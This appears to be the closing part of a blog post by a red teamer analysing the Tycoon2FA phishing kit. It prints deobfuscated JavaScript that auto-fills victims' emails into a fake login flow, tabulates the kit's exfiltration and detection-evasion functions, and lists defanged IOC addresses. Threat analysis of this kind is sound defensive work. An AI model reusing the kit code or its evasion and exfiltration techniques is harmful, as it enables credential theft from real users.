emailinputcheck.value = email;
setTimeout(function() {
document.getElementById('section_uname_pdf').querySelector("#btn_next_pdf").click();
}, 2000);
emailinputele = true;
} else {
setTimeout(function() {
tryfindingele(email);
}, 1000);
}
} else if (view == "uname_doc") {
let emailinputcheck = document.getElementById("docemail");
let emailsectionelecheck = document.getElementById("section_uname_content");
if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) {
emailinputcheck.value = email;
setTimeout(function() {
document.getElementById('section_uname_doc').querySelector("#btn_next_doc").click();
}, 2000);
emailinputele = true;
} else {
setTimeout(function() {
tryfindingele(email);
}, 1000);
}
} else {
setTimeout(function() {
tryfindingele(email);
}, 1000);
}
}
if (typeof emailcheck !== 'undefined' && emailcheck !== null && emailcheck !== "0") {
tryfindingele(emailcheck);
}
Its very upfront and clear with user session, data and “experience” handling, so here’s the table for key utilities -
Feature | Code Reference | Phishing Purpose |
---|---|---|
Targeted brand/URL lists | websitenames, bes, pes | Guide phishing content to mimic trusted brands |
Browser detection | navigator.userAgent check |
Tailor phishing experience per browser |
Geo IP collection | $.get(“https://get.geojs.io/…”) | Collect victim location info |
Data encryption & encoding | encryptData() , stringToBinary() |
Hide exfiltrated data from detection |
Data exfiltration | sendlive() , AJAX POST to urlo |
Send victim info to attacker server |
Randomized request URLs | sendAndReceive() with RandExp |
Evade URL-based detection |
UI flow control | Section show/hide with animations | Simulate legitimate login UI |
Auto-fill email input | tryfindingele() |
Speed up credential capture |
Error handling & retry | startdisconnecttimer() , AJAX retries |
Keep victim engaged, simulate real errors |
Indicators of Compromise (IOCs)
IP Addresses |
---|
106[.]153[.]226[.]33 |
106[.]153[.]226[.]34 |
106[.]153[.]226[.]38 |
106[.]153[.]226[.]42 |
106[.]153[.]227[.]117 |
106[.]153[.]227[.]35 |
106[.]153[.]227[.]36 |
106[.]153[.]227[.]39 |
106[.]153[.]227[.]41 |
106[.]153[.]227[.]42 |
120[.]137[.]171[.]108 |
120[.]137[.]171[.]109 |
120[.]137[.]171[.]110 |
120[.]137[.]171[.]111 |
120[.]137[.]171[.]70 |
120[.]137[.]171[.]71 |
133[.]18[.]188[.]244 |
133[.]18[.]189[.]51 |
133[.]18[.]39[.]116 |
133[.]186[.]39[.]48 |
133[.]186[.]39[.]50 |
133[.]186[.]39[.]52 |
133[.]186[.]39[.]53 |
133[.]186[.]39[.]54 |
139[.]28[.]36[.]230 |
139[.]28[.]38[.]90 |
150[.]60[.]159[.]5 |
150[.]60[.]169[.]253 |
150[.]60[.]232[.]68 |
153[.]127[.]230[.]102 |
153[.]127[.]230[.]136 |
153[.]127[.]230[.]81 |
153[.]127[.]234[.]174 |
153[.]127[.]234[.]19 |
153[.]127[.]234[.]3 |
153[.]127[.]234[.]4 |
153[.]127[.]234[.]5 |
158[.]199[.]221[.]240 |
182[.]48[.]49[.]208 |
203[.]142[.]206[.]254 |
210[.]134[.]58[.]152 |
210[.]224[.]185[.]211 |
219[.]94[.]155[.]74 |
27[.]121[.]5[.]172 |
27[.]121[.]5[.]173 |
27[.]121[.]5[.]174 |
27[.]121[.]5[.]175 |
27[.]121[.]5[.]176 |
27[.]121[.]5[.]177 |
27[.]121[.]5[.]178 |
27[.]121[.]5[.]179 |
49[.]212[.]235[.]231 |
51[.]89[.]55[.]195 |
59[.]106[.]171[.]67 |
59[.]84[.]175[.]232 |
59[.]84[.]175[.]233 |
Tycoon2FA is still active and utilizing these sophisticated TTPs for enterprise phishing. So far, the user data handling, rendering the landing page and the Anti-Anaysis feature, all of them were obfuscated and encrypted in 3 different pages in multiple stages, which makes analysis difficult. Previous research from trustwave shows how they did obfuscation using Invisible unicode characters and proxies, and much more.
References -
- Tycoon2FA New Evasion Technique for 2025
- PhaaS the Secrets: The Hidden Ties Between Tycoon2FA and Dadsec’s Operations
One thing I know for sure is that Tycoon2FA’s Phishing kit is evolving fast with time, in the last 4 months itself I have observed over 4 variants of the kits. Further, there are no more packaging of HTML content beyond what we saw already, encrypted or obfuscated, so we should call it a day here.
Thank you so much for sticking this far. As a Red Teamer, analyzing threat actor’s malware and phishing campaigns is fruitful, we gain insights into what’s being effective, and of course for the TTPs. If you are interested to emulate a similar kind of phishing operation in your environment, I would highly recommend checking the Offensive Phishing Course - Maldev Academy. The syllabus is comprehensive and goes over multiple Anti-Analysis techniques, I hope to bring a detailed review of this course some time later.
If you have any questions or need personal guidance then feel free to contact me here
Thanks for spending your time and giving it a read.